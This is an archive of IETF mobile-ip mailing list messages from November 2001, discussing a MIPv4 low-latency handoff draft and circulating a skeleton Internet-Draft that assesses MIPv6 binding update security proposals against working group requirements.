	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 20:50:30 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA22723;
	Mon, 5 Nov 2001 17:49:54 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA14913;
	Mon, 5 Nov 2001 17:49:40 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA61mhQO018931
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:48:43 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA61mhnJ018930
	for mobile-ip-dist; Mon, 5 Nov 2001 17:48:43 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from heliopolis.eng.sun.com (heliopolis.Eng.Sun.COM [152.70.1.39])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA61meQO018923
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:48:40 -0800 (PST)
Received: from sloth (dsl199-239.Eng.Sun.COM [129.146.199.239])
	by heliopolis.eng.sun.com (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id RAA01698
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:48:43 -0800 (PST)
Message-Id: <200111060148.RAA01698@heliopolis.eng.sun.com>
Date: Mon, 5 Nov 2001 17:48:43 -0800 (PST)
From: Jonathan Wood <Jonathan.Wood@Sun.COM>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: PreReg Complexity
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: ST4I+mfvpt6QN0HNNEAZRQ==
X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> 
> > In general the proposal is significantly complicated by specifying
> > multiple ways of doing things. Specifically:
> > 1 FAs may (or may not) cache advertisements from other FAs. This
> >   means that (per section 3.3) MN soliciations are either unicast
> >   to the oFA or the nFA. How does the MN know which method it should
> >   use? What if the MN decides to unicast to oFA for a proxy advert,
> >   but oFA isn't caching adverts from nFA?
> 
> In 3.3., 3.41. and 3.5 it says that the FAs SHOULD cache the
> advertisements. I'll run through to check for inconsistencies. The
> solicitation to nFA was meant for the case in which there was no caching.
> I was making some changes and wanted to clarify in 3.3 that the MN SHOULD
> unicast solicitation to oFA. Unicasting to nFA would have been the fallback
> for those cases where caching is impossible. However this fallback doesn't
> seem to add much so I'd like to remove it altogether. Would this
> solve your concern?

It would help. It would also mean that FAs MUST solicit from each
other and cache aderts, and MNs MUST unicast solicitations to oFA,
right?

> 
> > 2 It is often hard to determine exactly which messages under what
> >   circumstances must contain which extensions. For example,
> >   Section 3.3 also states that "The PrRtAdv message MAY contain the
> >   nFA's L2 address (using the LLA extension in 7.2)". When should the
> >   L2 address extension be present? What are the ramifications of not
> >   including it?
> 
> That part says:
> 
>    "The PrRtAdv message MAY
>    contain the nFA's L2 address (using the LLA extension in 7.2) as
>    described in sections 3.7 and 3.8."
>  
> Actually it's sections 3.6 and 3.7 which describe when it is to be used.
> These sections should answer your questions. I'll look through to
> sort out any places where the use of extensions is unclear. 

I think I'm quibbling about whether the PrRtAdv's inclusion of
the GLLA L2 ext should be a MAY or MUST. This depends on the
defition of a PrRtAdv (as discussed in a seperate email).

> 
> > 3 Section 3.4 lists three different ways of obtaining nFA
> >   advertisements. This seems likely to cause interoperability 
> > problems.
> >   For example, what if FA1 expects all agent advertisements to
> >   be piggybacked on L2 messaging, while FA2 does not? They will
> >   not be able to exchange advertisements, and therefore will not
> >   be able to complete PreReg handovers between them.
> 
> 3.4.1 and 3.4.2 each apply to different cases. 3.4.1 is for source
> triggered or mobile initiated. 3.4.2 instead is for target triggered.
> I'll read it through to make this clear if it isn't. 3.4.3 instead
> doesn't add much so I propose to take that away. This should solve the
> issue.

Taking away 3.4.2 would be good. I also recommend you frame 3.4.1
and 3.4.2 not as alternate ways of obtaining adverts, but rather
as one for source triggered and mobile initiated, and the other for
target triggered.

> 
> In general we have not considered FA capability discovery since
> it is quite complex and the draft is complicated enough as is. In the new
> version we'll clearly state that this is outside the scope. So it is assumed
> that the FA capabilities are manually configured to be compatible
> and a separate mechanism could be used for autoconfiguration.
> 
> Hope this solves a good part of your concerns.
> 

It should help. I'll look forward to the next version of the draft.

Jonathan



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 20:55:40 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA12333
	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 20:55:40 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA08039;
	Mon, 5 Nov 2001 18:54:47 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA15829;
	Mon, 5 Nov 2001 17:54:54 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA61rjQO019068
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:53:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA61rjI6019067
	for mobile-ip-dist; Mon, 5 Nov 2001 17:53:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from heliopolis.eng.sun.com (heliopolis.Eng.Sun.COM [152.70.1.39])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA61rfQO019060
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:53:41 -0800 (PST)
Received: from sloth (dsl199-239.Eng.Sun.COM [129.146.199.239])
	by heliopolis.eng.sun.com (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id RAA02171
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:53:45 -0800 (PST)
Message-Id: <200111060153.RAA02171@heliopolis.eng.sun.com>
Date: Mon, 5 Nov 2001 17:53:45 -0800 (PST)
From: Jonathan Wood <Jonathan.Wood@Sun.COM>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: PreReg Tunnels
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: yCClmN6B96RQdL86Eorz/A==
X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> 
> > Tunnel use and management needs to be better defined. Tunnels are
> > usually point-to-point, and so need to be explicitly set up
> > by both endpoints. Hosts will generally not decapsulate anything
> > sent to them if they do not have a tunnel set up with the
> > corresponding host.
> 
> The minimal requirement is that FAs have a manually configured
> list of neighbouring FAs (i.e. FAs to which MNs could hand-off to).
> The FA routers which get an encapsulated agent advertisement
> from one of the FA neighbours would decapsulate and deliver the packet.
> As long as there is some pre-configured security between the routers,
> as required in the draft, it should not be a problem to enable the
> tunneling.
> 
> > 
> > For PreReg, this means that FAs will need to explicitly set up
> > tunnels with neighboring FAs. Are these tunnels created dynamically
> > or just once when each FA starts up? How are they managed and
> > configured?
> 
> If the implementation requires a tunnel configuration then, assuming
> manual configuration as above, a tunnel would be configured for each
> entry in the list of neighbouring FAs. This depends on the implementation
> and is only needed for target triggers.

OK, so the tunnels are static, and are configured by some
mechanism out of the scope of the draft. Calling this out in
the draft might help implementors.

> 
> > 
> > Once up, exactly what is sent through the tunnel? It looks like
> > agent advertisements and solicitations from the MN are. Is there
> > anything else?
> 
> It's only nFA agent advertisements that go through the tunnel when
> there's a target-trigger. I'm assuming that the MN solicitation
> directly to nFA is out.

I should have written "agent advertisements and registration replies
to the MN." The latter, however, now seems to be an open issue,
as discussed in a seperate email.

Jonathan



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov  6 03:25:10 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04148
	for <mobileip-archive@odin.ietf.org>; Tue, 6 Nov 2001 03:25:09 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id AAA08244;
	Tue, 6 Nov 2001 00:23:45 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA15993;
	Tue, 6 Nov 2001 00:23:19 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA68MZQO019764
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 6 Nov 2001 00:22:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA68MZWX019763
	for mobile-ip-dist; Tue, 6 Nov 2001 00:22:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA68MVQO019756
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 6 Nov 2001 00:22:31 -0800 (PST)
Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA26383;
	Tue, 6 Nov 2001 00:22:34 -0800 (PST)
Received: from sun.com (vpn-129-156-96-13.EMEA.Sun.COM [129.156.96.13])
	by nasnfs.Eng.Sun.COM (8.10.2+Sun/8.10.2) with ESMTP id fA68MUk09238;
	Tue, 6 Nov 2001 00:22:31 -0800 (PST)
Message-ID: <3BE79CC6.5AFF30BA@sun.com>
Date: Tue, 06 Nov 2001 09:18:14 +0100
From: gabriel montenegro <gab@sun.com>
X-Mailer: Mozilla 4.77 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] MIPv6 Security: Assessment of Proposals
Content-Type: multipart/mixed;
 boundary="------------5B5AF6E55DD22B23A5EDE781"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This is a multi-part message in MIME format.
--------------5B5AF6E55DD22B23A5EDE781
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Folks,

The chairs had asked me if I would be able to help with a document evaluating the different
proposals against the requirements document (soon to appear in its rev02 version
at your favorite drafts repository as draft-ietf-mobileip-mipv6-scrty-reqts-02.txt).
I've been neglecting this terribly.

Unfortunately, the problem won't go away. Given the shortness of time, the
impending draft deadline next week, the urgency to have some progress
by Salt Lake City, and the numerous proposals on the table, in consultation
with the chairs, we've decided to involve all of you in a distributed effort to
start this document.

I've provided a skeleton, and a nomenclature based on the items in the
requirements document. The idea is that each proposal has its own section in which
it is assessed in a well-defined format. We have already asked the authors for
help with their respective protocol assessments.

We believe that involving the authors
early on is a good way to get us all thinking critically (pros and cons)
about our own proposals, and it would be a quick way to jump start the
review and evaluation process.

But we hope and anticipate that all interested working group members will
participate as well. You will find further info on how to assess the proposals
in the attached document. If you have time to assess only one proposal: great.
More than that? Wonderful.

In order to make the deadline, it would be great if you could send me
the evaluations for your proposals by next Tuesday November 13. That would give me
a little over a day to include them into the evaluation document in time for
submission. Any feedback received after Tuesday will be taken into consideration
for the post Salt Lake City revision.

Thanks in advance for your cooperation,

-gabriel
--
Gabriel Montenegro (Sun Microsystems Laboratories, Europe)
29, chemin du Vieux Chêne         Email: gabriel.montenegro@sun.com
38240 Meylan, France              Mobile: +33 673 99 56 62
Office: +33 476 18 80 45 (sun internal: x38045)
Fax:    +33 476 18 88 88


--------------5B5AF6E55DD22B23A5EDE781
Content-Type: text/plain; charset=us-ascii;
 name="eval-draft.txt"
Content-Disposition: inline;
 filename="eval-draft.txt"
Content-Transfer-Encoding: 7bit







Internet Engineering Task Force                    G. Montenegro, editor
INTERNET DRAFT                                            November, 2001

                MIPv6 Security: Assessment of Proposals
                 draft-montenegro-mipv6-seceval-00.txt

Status of This Memo

   This document is an Internet-Draft and is in full conformance
   with all provisions of Section 10 of RFC 2026.

   Comments should be submitted to the Mobile IP mailing list
   at mobile-ip@sunroof.eng.sun.com.

   Distribution of this memo is unlimited.

   This document is an Internet-Draft.  Internet-Drafts are working
   documents of the Internet Engineering Task Force (IETF), its areas,
   and its working groups.  Note that other groups may also distribute
   working documents as Internet-Drafts.

   Internet-Drafts are draft documents valid for a maximum of six
   months and may be updated, replaced, or obsoleted by other documents
   at any time.  It is inappropriate to use Internet-Drafts as
   reference material or to cite them other than as ``work in
   progress.''

   The list of current Internet-Drafts can be accessed at
   http://www.ietf.org/ietf/1id-abstracts.txt.

   The list of Internet-Draft Shadow Directories can be accessed at
   http://www.ietf.org/shadow.html.

Abstract

   The IESG has identified several security issues with the
   current Mobile IPv6 specification [MIPv6]. A subsequent effort
   [MIPv6SecReq] details the security threats introduced by
   MIPv6. Two major issues are (1) how to obtain a security
   association between an arbitrary MN and CN such that the
   binding update (BU) is secure, and, assuming such a mechanism
   is in place, (2) how to secure the individual BU messages.
   This document is an assessment of the proposed solutions for
   problem (1).







Expires May, 2002                                               [Page 1]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


1.0 Introduction

   The IESG has identified several security issues with the current
   Mobile IPv6 specification [MIPv6]. A subsequent effort
   [MIPv6SecReq] details the security threats introduced by MIPv6.
   Two major issues are (1) how to obtain a security association
   between an arbitrary MN and CN such that the binding update (BU)
   is secure, and, assuming such a mechanism is in place, (2) how
   to secure the individual BU messages.

   Problem (1) is essentially one of key establishment, whereas (2)
   deals with the mechanisms to protect the traffic.  (2) is the
   domain of IPsec. Accordingly, the ensuing debates are about AH
   versus ESP, for example.

   (1), on the other hand, is the domain of IKE, for example, and
   IKE is what MIPv6 has been counting on as a solution.
   Nevertheless, even though IKE may apply to securing BU's between
   MN's and HA's, as identified by the IESG, it is not scalable to
   secure BU's between as an MN and any arbitrary (hence unknown)
   CN.  So alternate solutions are being sought.

   The solution space for (1) includes a series of recent
   proposals, all of which aim at providing some security to the BU
   between arbitrary MN's and CN's in the absence of any global
   infrastructure like a PKI or a global AAA.


2.0 Methodology

   This document is an assessment of the proposed solutions for
   problem (1) above. This is the issue of securing BU's between an
   MN and another node, a CN, with which it does not have a
   security association in place.  In this regard, the currently
   proposed solutions are:

   - [BAKE] draft-perkins-bake-00.txt
   - [BU3WAY] draft-nordmark-mobileip-bu3way-01.txt
   - [DHMIPv6] draft-le-mobileip-dh-00.txt
   - [HACOOKIES] draft-thomas-mobileip-ha-cookies-00.txt
   - [PBK] draft-bradner-pbk-frame-00.txt.
   - [SAP] draft-mkhalil-mobileip-ipv6-sap-02.txt
   - [SUCV] draft-montenegro-sucv-01.txt
   - [UPDATEAUTH] draft-roe-mobileip-updateauth-00.txt

todo: any others?

   In order to arrive at an assessment of each of the above, this



Expires May, 2002                                               [Page 3]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


   document collects the evaluations of each of the above with
   respect to the security requirements issued by the Mobile IP
   working group [MIPv6SecReq]. The hope is that initial
   assessments will be provided by the authors of the proposals, as
   part of making their proposals available to the working group.
   All internet drafts MUST have a security considerations
   section.  This document specifies that all internet drafts which
   propose solutions to secure arbitrary MN-CN BU's MUST have a
   more stringent security considerations section in the format
   specified below.

   Essentially, the proposals MUST provide a self-assessment with
   respect to [MIPv6SecReq]. These assessments can also be provided
   by any interested member of the working group, but it is hoped
   that the individual authors will be very actively involved.
   This document will serve to collect all the assessments in one
   place and to provide the public forum for working group
   commentary and modifications.


2.1 Schedule

   In order for the working group to arrive at the required
   decision, the following schedule should be adhered to. There may
   be more revisions than these ones, but no less.

   Rev -00, Initial version (incomplete):  To be issued by November
      14, 2001, in time for discussion at the 52nd IETF meeting,
      Salt Lake City (Dec 9-14, 2001).

   Rev -01, To be issued before end of January, 2002.  This version
      will have most of the assessments done, and will also include
      a first version of the tabular comparison and recommendations
      sections.

   Rev -02, final version To be issued for discussion at the 53rd
       IETF, Minneapolis, MN, March 17-22, 2002.


3.0 Format for the Security Assessment

   [MIPv6SecReq] includes an exhaustive list of potential threats
   introduced by or made easier by MIPv6. These threats are
   distilled into a list of requirements. Each proposals must
   state with respect to each requirement if it is:

   o addressed ('A'): briefly explain how




Expires May, 2002                                               [Page 4]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


   o partially addressed ('P'): identify the residual issues

   o ignored ('I'): some explanation is in order (is the problem
     impossible to solve?, too costly?)

   o no assessment ('N'): this is the initial state of assessement
     for each item, before it transitions to any of the above
     three.

   Assessments MUST use the shorthand notation alluded to above via
   the single characters 'A', 'P', 'I' and 'N'.  These SHOULD be
   followed by an explanation The requirements to be addressed are:







































Expires May, 2002                                               [Page 5]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


   1.  General Requirements

      1  Should be no worse than IPv4 as it is today.

      2  Should be as secure as if the mobile node was on the home
      link without using Mobile IP.

      3  Identity verification MUST not rely on the existence of a
      global PKI.

      4  Any solution that is developed for securing the binding
      updates (MN-HA and MN-CN) should be able to use whatever
      security associations may already exist to minimize the
      threats created by on-axis attackers. In particular:

      4.1 It is assumed that in all schemes there will be some form
      of pre- established security association between a mobile
      node and its home agent. Such a security association
      should be used to minimize the threats.  In this context
      it makes sense exploring the complexity of handling
      mobile-to-mobile communication differently than
      mobile-to-nonmobile communication. As an example, if two
      MNs are communicating while visiting fairly untrusted
      visited links, it may make sense to take advantage of the
      fact that each mobile has a security association with its
      home agent when exchanging the messages needed to
      establish the binding. Thus these messages might travel
      MN1->HA1->HA2->MN2 (and in the reverse direction) so that
      the risks for a MITM attack are limited to the HA1<->HA2
      path.

      4.2 In some deployments a PKI may exist (encompassing for e.g
      some home "domain" which includes a set of MNs, their HAs
      and some CNs). In that case it should be possible to use
      the local PKI to prevent MITM attacks when the CN is
      covered by that PKI. (For instance, if both MN and CN
      share a trust chain in the PKI sense it should be possible
      to take advantage of that.)

      4.3 If a method to validate public keys (without the
      existence of CAs and PKI) is created or exists, then it
      should be possible to take advantage of that mechanism for
      improved security of the BUs.

   2. Specific to Mobile IPv6:

      1  Security for  binding updates is MANDATORY. This is
      already the case for MIPv6 and as such is not a new



Expires May, 2002                                               [Page 6]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


      requirement. However the mechanism used for securing
      binding updates MUST be one that is scalable and does not
      rely on existence of PKIs.

      2  It SHOULD be extremely difficult for an attacker
      "off-axis" i.e.  an attacker that cannot snoop packets on
      either of the three legs of the paths, to divert traffic.
      This difficulty should be on the order of correctly
      guessing a very large random number.

      3  It SHOULD be possible to leverage the only security
      association that can be preconfigured (the MN-HA SA) to
      secure BUs to CNs.

      4  It MUST be possible for a mobile node to be anonymous
      while still taking advantage of route optimization. Thus
      if a Mobile Node is using RFC 3041 temporary addresses for
      its home and/or COA it must be able to use a different
      visible identity when it uses a different temporary
      address.

      5  It SHOULD be possible to negotiate alternative cypher
      suites/algorithms.  It SHOULD be possible to negotiate
      alternative mechanisms.  All implementations MUST
      implement one designated mechanism and algorithm for
      interoperability reasons.

      6  If IPsec is used as part of the solution it SHOULD not
      place additional requirements on the set of IPsec SPD
      selectors beyond what is in common implementations.
      (Note:  This is however debatable. A soon to be published
      I-D will identify the issues of using IPsec in conjunction
      with Mobile IPv6.)

      7  Router Advertisements sent by the HA to the MN MUST be
      secured.

      8  Scalability of mechanisms using symmetric or asymmetric
      keys MUST be considered in any solution.

      9  SHOULD optimize the number of message exchanges and bytes
      sent between the participating entities (MN, CN, HA). This
      is an important consideration for some MNs which may
      operate over bandwidth constrained wireless links.

     10  A CN SHOULD be capable of rejecting BUs sent by a MN. If a
      CN rejects a BU, the MN SHOULD refrain from sending
      further BUs to that CN (for a period of time).



Expires May, 2002                                               [Page 7]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


     11  Any approach MUST consider the scalability issues and
      computational capabilities of the entities in a mobile
      environment, especially MNs and CNs. The expense
      associated with generating keys or public key operations
      or Diffie Hellman computations SHOULD be accounted for.

   3.  Requirements from Threats

      1.1 A correspondent node MUST not update its binding cache on
      receiving a binding update from any IPv6 node without
      verifying that the packet was sent by a node authorized to
      create binding cache entries for the home address carried
      in the home address option of the BU.

      1.2 No Mobile IPv6 specific requirements can be generated
      from this threat.

      1.4.1. An IPv6 node that receives binding updates SHOULD NOT
          create state until it has verified the authenticity of
          the sender.

      1.4.2 An IPv6 node SHOULD have the capability to reject
         binding updates.

      2.3 The Mobile Node SHOULD be capable of ascertaining the
      identity of the access point to which is is attaching and
      authenticate it.

      2.4 Upon receiving a packet carrying a Binding
      Acknowledgement, a mobile node SHOULD ensure it trusts the
      sender of that Binding Acknowledgment.

      4.2 The MN SHOULD be capable of authenticating binding
      requests. The MN SHOULD/MAY only process binding requests
      which are originated by nodes that are in the binding
      update list of the MN.

      4.3 The HA MUST authenticate any binding update received by
      it before making any changes to the binding cache
      entries.

      5.1 Any requirements to address this threat is outside the
      scope of Mobile IPv6 as the threat described above is a
      generic one.  However MIPv6 itself SHOULD not cause
      further grief in establishing end-to-end security either
      using IPsec or other mechanisms.

      7.1 A router on a subnet willing to take on the role of an HA



Expires May, 2002                                               [Page 8]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


      for a MN (even on a temporary basis) MUST establish a
      security association before the router will accept BUs for
      a MN with the H bit set.

      8.1 An HA which responds to an ICMP home agent discovery
      message MUST only do so after authenticating the MN's
      identity.

      8.2 The MN and HA MUST have a strong security association and
      the HA MUST verify the BUs sent by any IPv6 node
      requesting the HA to intercept packets destined for it and
      tunnel them to it's COA.

      8.3 CNs SHOULD NOT/MAY NOT process any packet (BU or not)
      containing a Home Address option unless they have verified
      that that the node sending the packets is authorized to
      use the home address in the destination option.



4.0 [BAKE] Assessment

   1. General Requirements
   1.1:N.
   1.2:N.
   1.3:N.
   1.4.1:N.
   1.4.2:N.
   1.4.3:N.

   2. Specific to Mobile IPv6
   2.1:N.
   2.2:N.
   2.3:N.
   2.4:N.
   2.5:N.
   2.6:N.
   2.7:N.
   2.8:N.
   2.9:N.
   2.10:N.
   2.11:N.

   3. Requirements from Threats
   3.1.1:N.
   3.1.2:N.
   3.1.4.1:N.
   3.1.4.2:N.



Expires May, 2002                                               [Page 9]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


   3.2.3:N.
   3.2.4:N.
   3.4.2:N.
   3.4.3:N.
   3.5.1:N.
   3.7.1:N.
   3.8.1:N.
   3.8.2:N.
   3.8.3:N.


5.0 [BU3WAY] Assessment

   1. General Requirements
   1.1:N.
   1.2:N.
   1.3:N.
   1.4.1:N.
   1.4.2:N.
   1.4.3:N.

   2. Specific to Mobile IPv6
   2.1:N.
   2.2:N.
   2.3:N.
   2.4:N.
   2.5:N.
   2.6:N.
   2.7:N.
   2.8:N.
   2.9:N.
   2.10:N.
   2.11:N.

   3. Requirements from Threats
   3.1.1:N.
   3.1.2:N.
   3.1.4.1:N.
   3.1.4.2:N.
   3.2.3:N.
   3.2.4:N.
   3.4.2:N.
   3.4.3:N.
   3.5.1:N.
   3.7.1:N.
   3.8.1:N.
   3.8.2:N.
   3.8.3:N.



Expires May, 2002                                              [Page 10]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


6.0  [DHMIPv6] Assessment

   1. General Requirements
   1.1:N.
   1.2:N.
   1.3:N.
   1.4.1:N.
   1.4.2:N.
   1.4.3:N.

   2. Specific to Mobile IPv6
   2.1:N.
   2.2:N.
   2.3:N.
   2.4:N.
   2.5:N.
   2.6:N.
   2.7:N.
   2.8:N.
   2.9:N.
   2.10:N.
   2.11:N.

   3. Requirements from Threats
   3.1.1:N.
   3.1.2:N.
   3.1.4.1:N.
   3.1.4.2:N.
   3.2.3:N.
   3.2.4:N.
   3.4.2:N.
   3.4.3:N.
   3.5.1:N.
   3.7.1:N.
   3.8.1:N.
   3.8.2:N.
   3.8.3:N.


7.0  [HACOOKIES] Assessment

   1. General Requirements
   1.1:N.
   1.2:N.
   1.3:N.
   1.4.1:N.
   1.4.2:N.
   1.4.3:N.



Expires May, 2002                                              [Page 11]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


   2. Specific to Mobile IPv6
   2.1:N.
   2.2:N.
   2.3:N.
   2.4:N.
   2.5:N.
   2.6:N.
   2.7:N.
   2.8:N.
   2.9:N.
   2.10:N.
   2.11:N.

   3. Requirements from Threats
   3.1.1:N.
   3.1.2:N.
   3.1.4.1:N.
   3.1.4.2:N.
   3.2.3:N.
   3.2.4:N.
   3.4.2:N.
   3.4.3:N.
   3.5.1:N.
   3.7.1:N.
   3.8.1:N.
   3.8.2:N.
   3.8.3:N.


8.0  [PBK] Assessment

   1. General Requirements
   1.1:N.
   1.2:N.
   1.3:N.
   1.4.1:N.
   1.4.2:N.
   1.4.3:N.

   2. Specific to Mobile IPv6
   2.1:N.
   2.2:N.
   2.3:N.
   2.4:N.
   2.5:N.
   2.6:N.
   2.7:N.
   2.8:N.



Expires May, 2002                                              [Page 12]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


   2.9:N.
   2.10:N.
   2.11:N.

   3. Requirements from Threats
   3.1.1:N.
   3.1.2:N.
   3.1.4.1:N.
   3.1.4.2:N.
   3.2.3:N.
   3.2.4:N.
   3.4.2:N.
   3.4.3:N.
   3.5.1:N.
   3.7.1:N.
   3.8.1:N.
   3.8.2:N.
   3.8.3:N.


9.0  [SAP] Assessment

   1. General Requirements
   1.1:N.
   1.2:N.
   1.3:N.
   1.4.1:N.
   1.4.2:N.
   1.4.3:N.

   2. Specific to Mobile IPv6
   2.1:N.
   2.2:N.
   2.3:N.
   2.4:N.
   2.5:N.
   2.6:N.
   2.7:N.
   2.8:N.
   2.9:N.
   2.10:N.
   2.11:N.

   3. Requirements from Threats
   3.1.1:N.
   3.1.2:N.
   3.1.4.1:N.
   3.1.4.2:N.



Expires May, 2002                                              [Page 13]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


   3.2.3:N.
   3.2.4:N.
   3.4.2:N.
   3.4.3:N.
   3.5.1:N.
   3.7.1:N.
   3.8.1:N.
   3.8.2:N.
   3.8.3:N.


10.0  [SUCV] Assessment

   1. General Requirements
   1.1:N.
   1.2:N.
   1.3:N.
   1.4.1:N.
   1.4.2:N.
   1.4.3:N.

   2. Specific to Mobile IPv6
   2.1:N.
   2.2:N.
   2.3:N.
   2.4:N.
   2.5:N.
   2.6:N.
   2.7:N.
   2.8:N.
   2.9:N.
   2.10:N.
   2.11:N.

   3. Requirements from Threats
   3.1.1:N.
   3.1.2:N.
   3.1.4.1:N.
   3.1.4.2:N.
   3.2.3:N.
   3.2.4:N.
   3.4.2:N.
   3.4.3:N.
   3.5.1:N.
   3.7.1:N.
   3.8.1:N.
   3.8.2:N.
   3.8.3:N.



Expires May, 2002                                              [Page 14]





INTERNET DRAFT   MIPv6 Security: Assessment of Proposals   November 2001


11.0  [UPDATEAUTH] Assessment

   1. General Requirements
   1.1:N.
   1.2:N.
   1.3:N.
   1.4.1:N.
   1.4.2:N.
   1.4.3:N.

